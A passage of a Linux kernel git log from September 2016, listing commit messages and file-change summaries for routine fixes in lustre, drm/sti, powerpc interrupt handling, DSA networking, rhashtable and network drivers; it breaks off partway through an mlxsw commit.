a2921e2fc026718a6b2694c0f61cb0d58f7f4c77 Author: Nayeemahmed Badebade Date: Mon Sep 19 02:48:19 2016 +0530 staging: lustre: lustre/ldlm: Fixed sparse warnings Added __acquires / __releases sparse locking annotations to lock_res_and_lock() and unlock_res_and_lock() functions in l_lock.c, to fix below sparse warnings: l_lock.c:47:22: warning: context imbalance in 'lock_res_and_lock' - wrong count at exit l_lock.c:61:6: warning: context imbalance in 'unlock_res_and_lock' - unexpected unlock Signed-off-by: Nayeemahmed Badebade Reviewed-by: James Simmons Reviewed-by: Andreas Dilger Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/l_lock.c | 4 ++++ 1 file changed, 4 insertions(+) commit 024931694730a2ad31bc1e7c58a028abe441180b Author: Sandhya Bankar Date: Mon Sep 19 23:59:36 2016 +0530 Staging: lustre: lmv_obd: Remove redundant test. filp != NULL is already checked, so no need to check it again. Signed-off-by: Sandhya Bankar Reviewed-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 83a75e3f14667b334ecd53b6334407ace8679eed Author: Sandhya Bankar Date: Sun Sep 18 05:23:49 2016 +0530 Staging: lustre: Convert array index from the loop bound to the loop index. Convert array index from the loop bound to the loop index. The structure cl_env_percpu[NR_CPUS] has been initializing for each possible cpu (i.e 0 to i). During initialization if any error will occurred, the error handling code should uninitialize cl_env_percpu upto i. But currently unitialization is repeatedly done for the same cl_env_percpu[i] element. This does not seems to be correct. Used below semantic patch to identify this issue: @@ expression e1,e2,ar; @@ for(e1 = 0; e1 < e2; e1++) { <... ar[ - e2 + e1 ] ...> } Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/cl_object.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c5f1edd405eb874cc2c81e8d62c6b3a73c502529 Author: kbuild test robot Date: Sat Sep 17 10:45:18 2016 +0800 ASoC: rt5663: fix platform_no_drv_owner.cocci warnings sound/soc/codecs/rt5663.c:3203:3-8: No need to set .owner here. The core will do it. Remove .owner field if calls are used which set it automatically Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Fengguang Wu Acked-by: Bard Liao Signed-off-by: Mark Brown sound/soc/codecs/rt5663.c | 1 - 1 file changed, 1 deletion(-) commit 66d7c2629aa4f2c861b7cca9ff15b6bc38e9c9a8 Author: Wei Yongjun Date: Sat Sep 17 01:34:09 2016 +0000 ASoC: rt5663: fix sparse warnings Fixes the following sparse warnings: sound/soc/codecs/rt5663.c:1367:14: warning: duplicate const sound/soc/codecs/rt5663.c:1577:5: warning: symbol 'rt5663_button_detect' was not declared. Should it be static? sound/soc/codecs/rt5663.c:2857:24: warning: symbol 'rt5663_aif_dai_ops' was not declared. Should it be static? sound/soc/codecs/rt5663.c:2866:27: warning: symbol 'rt5663_dai' was not declared. Should it be static? sound/soc/codecs/rt5663.c:3193:6: warning: symbol 'rt5663_i2c_shutdown' was not declared. Should it be static? sound/soc/codecs/rt5663.c:3200:19: warning: symbol 'rt5663_i2c_driver' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: Mark Brown sound/soc/codecs/rt5663.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit ef24ba7091517d2bbf9ba2cb4256c0dccd51d248 Author: Michael Ellerman Date: Tue Sep 6 21:53:24 2016 +1000 powerpc: Remove all usages of NO_IRQ NO_IRQ has been == 0 on powerpc for just over ten years (since commit 0ebfff1491ef ("[POWERPC] Add new interrupt mapping core and change platforms to use it")). It's also 0 on most other arches. Although it's fairly harmless, every now and then it causes confusion when a driver is built on powerpc and another arch which doesn't define NO_IRQ. There's at least 6 definitions of NO_IRQ in drivers/, at least some of which are to work around that problem. So we'd like to remove it. This is fairly trivial in the arch code, we just convert: if (irq == NO_IRQ) to if (!irq) if (irq != NO_IRQ) to if (irq) irq = NO_IRQ; to irq = 0; return NO_IRQ; to return 0; And a few other odd cases as well. At least for now we keep the #define NO_IRQ, because there is driver code that uses NO_IRQ and the fixes to remove those will go via other trees. Note we also change some occurrences in PPC sound drivers, drivers/ps3, and drivers/macintosh. Signed-off-by: Michael Ellerman arch/powerpc/include/asm/machdep.h | 2 +- arch/powerpc/include/asm/mpic_msgr.h | 6 +++--- arch/powerpc/include/asm/parport.h | 2 +- arch/powerpc/kernel/ibmebus.c | 2 +- arch/powerpc/kernel/irq.c | 2 +- arch/powerpc/kernel/legacy_serial.c | 14 +++++++------- arch/powerpc/kernel/pci-common.c | 5 +++-- arch/powerpc/kernel/pci_of_scan.c | 2 +- arch/powerpc/platforms/44x/warp.c | 2 +- arch/powerpc/platforms/512x/mpc5121_ads_cpld.c | 8 ++++---- arch/powerpc/platforms/512x/mpc512x_lpbfifo.c | 2 +- arch/powerpc/platforms/52xx/mpc52xx_pic.c | 2 +- arch/powerpc/platforms/82xx/pq2ads-pci-pic.c | 2 +- arch/powerpc/platforms/83xx/mpc832x_rdb.c | 2 +- arch/powerpc/platforms/83xx/suspend.c | 4 ++-- arch/powerpc/platforms/85xx/common.c | 2 +- arch/powerpc/platforms/85xx/mpc85xx_cds.c | 4 ++-- arch/powerpc/platforms/85xx/mpc85xx_ds.c | 4 ++-- arch/powerpc/platforms/85xx/socrates_fpga_pic.c | 6 +++--- arch/powerpc/platforms/86xx/pic.c | 4 ++-- arch/powerpc/platforms/8xx/m8xx_setup.c | 2 +- arch/powerpc/platforms/cell/axon_msi.c | 6 +++--- arch/powerpc/platforms/cell/interrupt.c | 12 ++++++------ arch/powerpc/platforms/cell/iommu.c | 2 +- arch/powerpc/platforms/cell/pmu.c | 4 ++-- arch/powerpc/platforms/cell/spider-pic.c | 18 +++++++++--------- arch/powerpc/platforms/cell/spu_base.c | 16 ++++++++-------- arch/powerpc/platforms/cell/spu_manage.c | 9 ++++++--- arch/powerpc/platforms/chrp/setup.c | 4 ++-- arch/powerpc/platforms/embedded6xx/flipper-pic.c | 2 +- arch/powerpc/platforms/embedded6xx/hlwd-pic.c | 4 ++-- arch/powerpc/platforms/embedded6xx/mvme5100.c | 4 ++-- arch/powerpc/platforms/maple/pci.c | 6 +++--- arch/powerpc/platforms/pasemi/misc.c | 2 +- arch/powerpc/platforms/pasemi/msi.c | 4 ++-- arch/powerpc/platforms/pasemi/setup.c | 4 ++-- arch/powerpc/platforms/powermac/low_i2c.c | 6 +++--- arch/powerpc/platforms/powermac/pfunc_base.c | 4 ++-- arch/powerpc/platforms/powermac/pic.c | 6 +++--- arch/powerpc/platforms/powernv/opal-irqchip.c | 4 ++-- arch/powerpc/platforms/powernv/pci-cxl.c | 4 ++-- arch/powerpc/platforms/powernv/pci.c | 4 ++-- arch/powerpc/platforms/ps3/interrupt.c | 10 +++++----- arch/powerpc/platforms/ps3/smp.c | 4 ++-- arch/powerpc/platforms/ps3/spu.c | 4 ++-- arch/powerpc/platforms/pseries/event_sources.c | 2 +- arch/powerpc/platforms/pseries/msi.c | 6 +++--- arch/powerpc/platforms/pseries/setup.c | 4 ++-- arch/powerpc/sysdev/axonram.c | 6 +++--- arch/powerpc/sysdev/cpm1.c | 8 ++++---- arch/powerpc/sysdev/ehv_pic.c | 4 ++-- arch/powerpc/sysdev/fsl_gtm.c | 2 +- arch/powerpc/sysdev/fsl_mpic_err.c | 6 +++--- arch/powerpc/sysdev/fsl_msi.c | 12 ++++++------ arch/powerpc/sysdev/ge/ge_pic.c | 8 ++++---- arch/powerpc/sysdev/i8259.c | 4 ++-- arch/powerpc/sysdev/ipic.c | 4 ++-- arch/powerpc/sysdev/mpc8xx_pic.c | 2 +- arch/powerpc/sysdev/mpic.c | 14 +++++++------- arch/powerpc/sysdev/mpic_msgr.c | 4 ++-- arch/powerpc/sysdev/mpic_u3msi.c | 4 ++-- arch/powerpc/sysdev/mv64x60_pic.c | 2 +- arch/powerpc/sysdev/pmi.c | 2 +- arch/powerpc/sysdev/ppc4xx_hsta_msi.c | 6 +++--- arch/powerpc/sysdev/ppc4xx_msi.c | 6 +++--- arch/powerpc/sysdev/ppc4xx_soc.c | 2 +- arch/powerpc/sysdev/tsi108_pci.c | 2 +- arch/powerpc/sysdev/uic.c | 2 +- arch/powerpc/sysdev/xics/icp-hv.c | 6 +++--- arch/powerpc/sysdev/xics/icp-native.c | 6 +++--- arch/powerpc/sysdev/xics/icp-opal.c | 8 ++++---- arch/powerpc/sysdev/xics/xics-common.c | 2 +- drivers/macintosh/macio_asic.c | 4 ++-- drivers/macintosh/rack-meter.c | 2 +- drivers/macintosh/smu.c | 18 +++++++++--------- drivers/macintosh/via-cuda.c | 2 +- drivers/macintosh/via-pmu.c | 6 +++--- drivers/ps3/ps3-vuart.c | 4 ++-- sound/aoa/core/gpio-feature.c | 4 ++-- sound/ppc/tumbler.c | 8 ++++---- 80 files changed, 204 insertions(+), 200 deletions(-) commit a4bc746c41b56ab7588b20d84a58906986edce83 Author: kbuild test robot Date: Tue Sep 20 08:10:13 2016 +0800 ALSA: line6: fix ifnullfree.cocci warnings sound/usb/line6/driver.c:484:2-7: WARNING: NULL check before freeing functions like kfree, debugfs_remove, debugfs_remove_recursive or usb_free_urb is not needed. Maybe consider reorganizing relevant code to avoid passing NULL values. NULL check before some freeing functions is not needed. Based on checkpatch warning "kfree(NULL) is safe this check is probably not required" and kfreeaddr.cocci by Julia Lawall. Generated by: scripts/coccinelle/free/ifnullfree.cocci CC: Andrej Krutak Signed-off-by: Fengguang Wu Signed-off-by: Takashi Iwai sound/usb/line6/driver.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 09284b9c4a80299b25b913c976dcaced09cc12f4 Author: Baoquan He Date: Tue Sep 20 09:05:34 2016 +0800 iommu/amd: No need to wait iommu completion if no dte irq entry change This is a clean up. In get_irq_table() only if DTE entry is changed iommu_completion_wait() need be called. Otherwise no need to do it. Signed-off-by: Baoquan He Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 38fdb8d95f8496f0db4fb1071998d27a35ba16a8 Author: Vincent Abriou Date: Thu Sep 15 17:11:07 2016 +0200 drm/sti: fix compositor debugfs creation Fix typo and issue while creating the vid and mixer debugfs entries. Signed-off-by: Vincent Abriou Acked-by: Benjamin Gaignard drivers/gpu/drm/sti/sti_compositor.c | 22 +++++++++------------- drivers/gpu/drm/sti/sti_compositor.h | 4 ++-- drivers/gpu/drm/sti/sti_crtc.c | 2 +- 3 files changed, 12 insertions(+), 16 deletions(-) commit f766c6c810a6894a6049b5ee9406e098ac8cb611 Author: Fabien Dessenne Date: Tue Sep 6 09:42:53 2016 +0200 drm/sti: use valid video mode In atomic mode the crtc_xxx (eg crtc_hdisplay) members of the mode structure may be unset before calling atomic_check/commit for planes. Instead of, use xxx members which are actually set. Signed-off-by: Fabien Dessenne Acked-by: Vincent Abriou drivers/gpu/drm/sti/sti_gdp.c | 8 ++++---- drivers/gpu/drm/sti/sti_hqvdp.c | 8 ++++---- drivers/gpu/drm/sti/sti_vid.c | 4 ++-- 3 files changed, 10 insertions(+), 10 deletions(-) commit 3bc6b01de30538f836632a1a701c0061e711b38c Author: Fabien Dessenne Date: Tue Sep 6 09:42:39 2016 +0200 drm/sti: in crtc_atomic_flush, enable only planes of this crtc crtc_atomic_flush performs some additional processing, like plane enable at mixer level. Enable only the planes attached to the CRTC. Signed-off-by: Fabien Dessenne Acked-by: Vincent Abriou drivers/gpu/drm/sti/sti_crtc.c | 4 ++++ 1 file changed, 4 insertions(+) commit ffdbb82ca4e01b468871dc683e6c3ae169995f0a Author: Fabien Dessenne Date: Tue Sep 6 09:42:25 2016 +0200 drm/sti: use vtg array instead of vtg_main/aux This is more generic and more consistent with the other members of the sti_compositor struct. Signed-off-by: Fabien Dessenne Acked-by: Vincent Abriou drivers/gpu/drm/sti/sti_compositor.c | 4 ++-- drivers/gpu/drm/sti/sti_compositor.h | 6 ++---- drivers/gpu/drm/sti/sti_crtc.c | 12 +++++------- drivers/gpu/drm/sti/sti_gdp.c | 3 +-- 4 files changed, 10 insertions(+), 15 deletions(-) commit ae2178503d4237047db4afb5888aa7c8e8b820fb Author: Fabien Dessenne Date: Tue Sep 6 09:42:13 2016 +0200 drm/sti: use different notifier_block for each pipe Each pipe shall have its own notifier block to manage the vblank event. This fixes issues where a client registered on given pipe is later abusively notified of events on the other pipe. Signed-off-by: Fabien Dessenne Acked-by: Vincent Abriou drivers/gpu/drm/sti/sti_compositor.c | 4 +++- drivers/gpu/drm/sti/sti_compositor.h | 4 ++-- drivers/gpu/drm/sti/sti_crtc.c | 8 ++++---- 3 files changed, 9 insertions(+), 7 deletions(-) commit 5552aad35d439ad96ae55f0e3db25b6268170259 Author: Fabien Dessenne Date: Tue Sep 6 09:41:48 2016 +0200 drm/sti: fix atomic_disable check When a drm_plane is being disabled, its ->crtc member is set to NULL before the .atomic_disable() func is called. To get the crtc of the plane, read old_state->crtc instead of drm_plane->crtc Signed-off-by: Fabien Dessenne Acked-by: Vincent Abriou drivers/gpu/drm/sti/sti_cursor.c | 6 +++--- drivers/gpu/drm/sti/sti_gdp.c | 6 +++--- drivers/gpu/drm/sti/sti_hqvdp.c | 6 +++--- 3 files changed, 9 insertions(+), 9 deletions(-) commit 00b517e54f937ae4917ca613e3956e424f7a17cd Author: Fabien Dessenne Date: Tue Sep 6 09:42:00 2016 +0200 drm/sti: run gdp init sequence only once Do not rely on plane->status to define whether this is the first update but rather check for gdp->vtg. This avoids multiple and unwanted calls to sti_vtg_register_client() which breaks the kernel scheduler. Signed-off-by: Fabien Dessenne Acked-by: Vincent Abriou drivers/gpu/drm/sti/sti_gdp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9dd5942b3195fc94c538d6cf1d26cde8813da80c Author: Fabien Dessenne Date: Wed Aug 24 12:12:37 2016 +0200 drm/sti: run hqvdp init sequence only once Do not rely on plane->status to define whether this is the first update but rather check for hqvdp->xp70_initialized bit status. This avoids multiple and unwanted calls to sti_vtg_register_client() which breaks the kernel scheduler. Signed-off-by: Fabien Dessenne Acked-by: Vincent Abriou drivers/gpu/drm/sti/sti_hqvdp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 29ffa77668235bd4b39cd0bac209621a25355af2 Author: Fabien Dessenne Date: Tue Sep 6 09:41:35 2016 +0200 drm/sti: fix debug logs Add some missing \n in logs. Signed-off-by: Fabien Dessenne Acked-by: Vincent Abriou drivers/gpu/drm/sti/sti_gdp.c | 2 +- drivers/gpu/drm/sti/sti_hda.c | 4 ++-- drivers/gpu/drm/sti/sti_hdmi.c | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit 33030d61cfa0e5558bf206f6035ec353387a1430 Author: Vincent Abriou Date: Wed Sep 14 10:14:23 2016 +0200 drm/sti: dpms function missing for HDMI connector Signed-off-by: Vincent Abriou Acked-by: Benjamin Gaignard drivers/gpu/drm/sti/sti_hdmi.c | 1 + 1 file changed, 1 insertion(+) commit bdfd36ef8e648aa8c7aab21dbd6c006c8df5d4da Author: Ville Syrjälä Date: Mon Sep 19 16:33:53 2016 +0300 drm/sti: Fix sparse warnings drm/sti/sti_mixer.c:361:6: warning: symbol 'sti_mixer_set_matrix' was not declared. Should it be static? drm/sti/sti_gdp.c:476:5: warning: symbol 'sti_gdp_field_cb' was not declared. Should it be static? drm/sti/sti_gdp.c:885:24: warning: symbol 'sti_gdp_plane_helpers_funcs' was not declared. Should it be static? drm/sti/sti_cursor.c:348:24: warning: symbol 'sti_cursor_plane_helpers_funcs' was not declared. Should it be static? drm/sti/sti_compositor.c:28:28: warning: symbol 'stih407_compositor_data' was not declared. Should it be static? drm/sti/sti_compositor.c:49:28: warning: symbol 'stih416_compositor_data' was not declared. Should it be static? drm/sti/sti_vtg.c:75:1: warning: symbol 'vtg_lookup' was not declared. Should it be static? drm/sti/sti_vtg.c:476:24: warning: symbol 'sti_vtg_driver' was not declared. Should it be static? drm/sti/sti_dvo.c:109:5: warning: symbol 'dvo_awg_generate_code' was not declared. Should it be static? drm/sti/sti_dvo.c:602:24: warning: symbol 'sti_dvo_driver' was not declared. Should it be static? drm/sti/sti_vtac.c:209:24: warning: symbol 'sti_vtac_driver' was not declared. Should it be static? drm/sti/sti_tvout.c:914:24: warning: symbol 'sti_tvout_driver' was not declared. Should it be static? drm/sti/sti_hqvdp.c:786:5: warning: symbol 'sti_hqvdp_vtg_cb' was not declared. Should it be static? drm/sti/sti_hqvdp.c:1253:24: warning: symbol 'sti_hqvdp_plane_helpers_funcs' was not declared. Should it be static? drm/sti/sti_hqvdp.c:1292:5: warning: symbol 'sti_hqvdp_bind' was not declared. Should it be static? drm/sti/sti_hqvdp.c:1385:24: warning: symbol 'sti_hqvdp_driver' was not declared. Should it be static? drm/sti/sti_drv.c:143:6: warning: symbol 'sti_drm_dbg_cleanup' was not declared. Should it be static? Cc: Benjamin Gaignard Cc: Vincent Abriou Signed-off-by: Ville Syrjälä Acked-by: Vincent Abriou drivers/gpu/drm/sti/sti_compositor.c | 4 ++-- drivers/gpu/drm/sti/sti_cursor.c | 2 +- drivers/gpu/drm/sti/sti_drv.c | 2 +- drivers/gpu/drm/sti/sti_dvo.c | 3 ++- drivers/gpu/drm/sti/sti_gdp.c | 6 +++--- drivers/gpu/drm/sti/sti_hqvdp.c | 7 ++++--- drivers/gpu/drm/sti/sti_mixer.c | 2 +- drivers/gpu/drm/sti/sti_tvout.c | 1 + drivers/gpu/drm/sti/sti_vtac.c | 2 ++ drivers/gpu/drm/sti/sti_vtg.c | 3 ++- 10 files changed, 19 insertions(+), 13 deletions(-) commit 7c0ca70be2b58f4c0daf48f521a2b47e888c94e0 Author: Benjamin Gaignard Date: Wed Aug 24 09:35:20 2016 +0200 drm: sti: fix coccicheck warnings Fix four warnings shown by coccicheck. Signed-off-by: Benjamin Gaignard Acked-by: Vincent Abriou drivers/gpu/drm/sti/sti_hdmi.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit d27cd40addc06d34236bf818abcbe76f3527a69d Author: Laurent Pinchart Date: Thu Jun 9 02:32:11 2016 +0300 drm: sti: Replace drm_fb_get_bpp_depth() with drm_format_plane_cpp() The driver needs the number of bytes per pixel, not the bpp and depth info meant for fbdev compatibility. Use the right API. Signed-off-by: Laurent Pinchart Acked-by: Vincent Abriou drivers/gpu/drm/sti/sti_gdp.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e2a738f7a88f32622684d972d654a9fed026555f Author: Sebastian Andrzej Siewior Date: Tue Sep 6 19:04:55 2016 +0200 blk/mq: Reserve hotplug states for block multiqueue This patch only reserves two CPU hotplug states for block/mq so the block tree can apply the conversion patches. Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: Jens Axboe Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160906170457.32393-20-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner include/linux/cpuhotplug.h | 2 ++ 1 file changed, 2 insertions(+) commit 5737f6c92681939e417579b421f81f035e57c582 Author: Jesper Dangaard Brouer Date: Mon Sep 19 17:46:38 2016 +0200 mlx4: add missed recycle opportunity for XDP_TX on TX failure Correct drop handling for XDP_TX on TX failure, were recently added in commit 95357907ae73 ("mlx4: fix XDP_TX is acting like XDP_PASS on TX ring full"). The change missed an opportunity for recycling the RX page, instead of going through the page allocator, like the regular XDP_DROP action does. This patch cease the opportunity, by going through the XDP_DROP case. Fixes: 95357907ae73 ("mlx4: fix XDP_TX is acting like XDP_PASS on TX ring full") Signed-off-by: Jesper Dangaard Brouer Reviewed-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_rx.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 1860e688edc4ff4467863891baef73e6a32d9c7a Merge: f361bdd 8941ee3 Author: David S. Miller Date: Tue Sep 20 04:47:50 2016 -0400 Merge branch 'dsa-set_addr-optional' John Crispin says: ==================== net-next: dsa: set_addr should be optional The Marvell driver is the only one that actually sets the switches HW address. All other drivers have an empty stub. fix this by making the callback optional. ==================== Reviewed-by: Florian Fainelli Signed-off-by: David S. Miller commit 8941ee36e3266a5efca52e32c4dc214f202c751a Author: John Crispin Date: Mon Sep 19 15:28:03 2016 +0200 net-next: dsa: qca8k: remove empty set_addr() stub The set_addr() callback is now optional. Remove the empty stub that qca8k has. Signed-off-by: John Crispin Signed-off-by: David S. Miller drivers/net/dsa/qca8k.c | 8 -------- 1 file changed, 8 deletions(-) commit 1f449736525addd6fcce674d654bd1471748484e Author: John Crispin Date: Mon Sep 19 15:28:02 2016 +0200 net-next: dsa: b53: remove empty set_addr() stub The set_addr() callback is now optional. Remove the empty stub that b53 has. Signed-off-by: John Crispin Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_common.c | 6 ------ 1 file changed, 6 deletions(-) commit 092183df0fa1f4b49baad3a980c55d55de07dfb7 Author: John Crispin Date: Mon Sep 19 15:28:01 2016 +0200 net-next: dsa: make the set_addr() operation optional Only 1 of the 3 drivers currently has a set_addr() operation. Make the set_addr() callback optional to reduce the amount of empty stubs inside the drivers. Signed-off-by: John Crispin Signed-off-by: David S. Miller net/dsa/dsa.c | 8 +++++--- net/dsa/dsa2.c | 8 +++++--- 2 files changed, 10 insertions(+), 6 deletions(-) commit 06f8ec9041f02d44bb0b75d47668e2fe00d5e0c3 Author: John Crispin Date: Mon Sep 19 15:28:00 2016 +0200 net-next: dsa: fix duplicate invocation of set_addr() commit 83c0afaec7b730b ("net: dsa: Add new binding implementation") has a duplicate invocation of the set_addr() operation callback. Remove one of them. Signed-off-by: John Crispin Reviewed-by: Andrew Lunn Signed-off-by: David S. Miller net/dsa/dsa2.c | 4 ---- 1 file changed, 4 deletions(-) commit f361bdde6124339aab599e45471c6aa79125d1a2 Merge: fd07160 83e7e4c Author: David S. Miller Date: Tue Sep 20 04:43:43 2016 -0400 Merge branch 'rhashtable-dups' Herbert Xu says: ==================== rhashtable: rhashtable with duplicate objects v3 fixes a bug in the remove path that causes the element count to decrease when it shouldn't, leading to a gigantic hash table when it underflows. v2 contains a reworked insertion slowpath to ensure that the spinlock for the table we're inserting into is taken. This series contains two patches. The first adds the rhlist interface and the second converts mac80211 to use it. If this works out I'll then proceed to convert the other insecure_elasticity users over to this. I've tested the rhlist code with test_rhashtable but I haven't tested the mac80211 conversion. So please give it a go and see if it still works. ==================== Signed-off-by: David S. Miller commit 83e7e4ce9e93c3b020497144f4354b62aed5d894 Author: Herbert Xu Date: Mon Sep 19 19:00:10 2016 +0800 mac80211: Use rhltable instead of rhashtable mac80211 currently uses rhashtable with insecure_elasticity set to true. The latter is because of duplicate objects. What's more, mac80211 walks the rhashtable chains by hand which is broken as rhashtable may contain multiple tables due to resizing or rehashing. This patch fixes it by converting it to the newly added rhltable interface which is designed for use with duplicate objects. With rhltable a lookup returns a list of objects instead of a single one. This is then fed into the existing for_each_sta_info macro. This patch also deletes the sta_addr_hash function since rhashtable defaults to jhash. Signed-off-by: Herbert Xu Signed-off-by: David S. Miller net/mac80211/ieee80211_i.h | 2 +- net/mac80211/rx.c | 7 ++----- net/mac80211/sta_info.c | 52 +++++++++++++++++++--------------------------- net/mac80211/sta_info.h | 19 +++++++---------- net/mac80211/status.c | 7 ++----- 5 files changed, 33 insertions(+), 54 deletions(-) commit ca26893f05e86497a86732768ec53cd38c0819ca Author: Herbert Xu Date: Mon Sep 19 19:00:09 2016 +0800 rhashtable: Add rhlist interface The insecure_elasticity setting is an ugly wart brought out by users who need to insert duplicate objects (that is, distinct objects with identical keys) into the same table. In fact, those users have a much bigger problem. Once those duplicate objects are inserted, they don't have an interface to find them (unless you count the walker interface which walks over the entire table). Some users have resorted to doing a manual walk over the hash table which is of course broken because they don't handle the potential existence of multiple hash tables. The result is that they will break sporadically when they encounter a hash table resize/rehash. This patch provides a way out for those users, at the expense of an extra pointer per object. Essentially each object is now a list of objects carrying the same key. The hash table will only see the lists so nothing changes as far as rhashtable is concerned. To use this new interface, you need to insert a struct rhlist_head into your objects instead of struct rhash_head. While the hash table is unchanged, for type-safety you'll need to use struct rhltable instead of struct rhashtable. All the existing interfaces have been duplicated for rhlist, including the hash table walker. One missing feature is nulls marking because AFAIK the only potential user of it does not need duplicate objects. Should anyone need this it shouldn't be too hard to add. Signed-off-by: Herbert Xu Acked-by: Thomas Graf Signed-off-by: David S. Miller include/linux/rhashtable.h | 491 ++++++++++++++++++++++++++++++++++----------- lib/rhashtable.c | 258 +++++++++++++++++++----- 2 files changed, 583 insertions(+), 166 deletions(-) commit fd07160bb7180cdd0afeb089d8cdfd66002f17e6 Author: Vitaly Kuznetsov Date: Mon Sep 19 12:53:40 2016 +0200 xen-netfront: avoid packet loss when ethernet header crosses page boundary Small packet loss is reported on complex multi host network configurations including tunnels, NAT, ... My investigation led me to the following check in netback which drops packets: if (unlikely(txreq.size < ETH_HLEN)) { netdev_err(queue->vif->dev, "Bad packet size: %d\n", txreq.size); xenvif_tx_err(queue, &txreq, extra_count, idx); break; } But this check itself is legitimate. SKBs consist of a linear part (which has to have the ethernet header) and (optionally) a number of frags. Netfront transmits the head of the linear part up to the page boundary as the first request and all the rest becomes frags so when we're reconstructing the SKB in netback we can't distinguish between original frags and the 'tail' of the linear part. The first SKB needs to be at least ETH_HLEN size. So in case we have an SKB with its linear part starting too close to the page boundary the packet is lost. I see two ways to fix the issue: - Change the 'wire' protocol between netfront and netback to start keeping the original SKB structure. We'll have to add a flag indicating the fact that the particular request is a part of the original linear part and not a frag. We'll need to know the length of the linear part to pre-allocate memory. - Avoid transmitting SKBs with linear parts starting too close to the page boundary. That seems preferable short-term and shouldn't bring significant performance degradation as such packets are rare. That's what this patch is trying to achieve with skb_copy(). Signed-off-by: Vitaly Kuznetsov Acked-by: David Vrabel Signed-off-by: David S. Miller drivers/net/xen-netfront.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit 1a21101d21d7ef056dfda1d7b843289e05ecd034 Author: Raju Lakkaraju Date: Mon Sep 19 15:33:54 2016 +0530 net: phy: Add MAC-IF driver for Microsemi PHYs. All the review comments updated and resending for review. This is MAC interface feature. Microsemi PHY can support RGMII, RMII or GMII/MII interface between MAC and PHY. MAC-IF function program the right value based on Device tree configuration. Tested on Beaglebone Black with VSC 8531 PHY. Signed-off-by: Raju Lakkaraju Reviewed-by: Andrew Lunn Signed-off-by: David S. Miller drivers/net/phy/mscc.c | 51 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) commit 0edfa8391664a4f795c67d0e07480fbe801a0e1d Author: Paul Gortmaker Date: Mon Sep 19 17:38:55 2016 -0400 arm64: migrate exception table users off module.h and onto extable.h These files were only including module.h for exception table related functions. We've now separated that content out into its own file "extable.h" so now move over to that and avoid all the extra header content in module.h that we don't really need to compile these files. Cc: Catalin Marinas Acked-by: Catalin Marinas Cc: Will Deacon Cc: linux-arm-kernel@lists.infradead.org Signed-off-by: Paul Gortmaker Signed-off-by: Will Deacon arch/arm64/kernel/probes/kprobes.c | 2 +- arch/arm64/mm/extable.c | 2 +- arch/arm64/mm/fault.c | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit 1a9234e66eddb0f18447532ab3f12bd136473ed6 Author: Ido Schimmel Date: Mon Sep 19 08:29:26 2016 +0200 mlxsw: spectrum: Fix sparse warnings drivers/net/ethernet/mellanox/mlxsw//spectrum.c:251:28: warning: symbol 'mlxsw_sp_span_entry_find' was not declared. Should it be static? drivers/net/ethernet/mellanox/mlxsw//spectrum.c:265:28: warning: symbol 'mlxsw_sp_span_entry_get' was not declared. Should it be static? drivers/net/ethernet/mellanox/mlxsw//spectrum.c:367:56: warning: mixing different enum types drivers/net/ethernet/mellanox/mlxsw//spectrum.c:367:56: int enum mlxsw_sp_span_type versus drivers/net/ethernet/mellanox/mlxsw//spectrum.c:367:56: int enum mlxsw_reg_mpar_i_e ... drivers/net/ethernet/mellanox/mlxsw//spectrum_buffers.c:598:32: warning: mixing different enum types drivers/net/ethernet/mellanox/mlxsw//spectrum_buffers.c:598:32: int enum mlxsw_reg_sbxx_dir versus drivers/net/ethernet/mellanox/mlxsw//spectrum_buffers.c:598:32: int enum devlink_sb_pool_type drivers/net/ethernet/mellanox/mlxsw//spectrum_buffers.c:600:39: warning: mixing different enum types drivers/net/ethernet/mellanox/mlxsw//spectrum_buffers.c:600:39: int enum mlxsw_reg_sbpr_mode versus drivers/net/ethernet/mellanox/mlxsw//spectrum_buffers.c:600:39: int enum devlink_sb_threshold_type ... drivers/net/ethernet/mellanox/mlxsw//spectrum_router.c:255:54: warning: mixing different enum types drivers/net/ethernet/mellanox/mlxsw//spectrum_router.c:255:54: int enum mlxsw_sp_l3proto versus drivers/net/ethernet/mellanox/mlxsw//spectrum_router.c:255:54: int enum mlxsw_reg_ralxx_protocol ... drivers/net/ethernet/mellanox/mlxsw//spectrum_router.c:1749:6: warning: symbol 'mlxsw_sp_fib_entry_put' was not declared. Should it be static? Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 12 ++++--- .../net/ethernet/mellanox/mlxsw/spectrum_buffers.c | 15 ++++---- .../net/ethernet/mellanox/mlxsw/spectrum_router.c | 41 ++++++++++++++-------- 3 files changed, 42 insertions(+), 26 deletions(-) commit 18c2d2c113eb330d260277350d09aae454e80177 Author: Elad Raz Date: Mon Sep 19 08:28:24 2016 +0200 mlxsw: Change the RX LAG hash function from XOR to CRC Change the RX hash function from XOR to CRC in order to 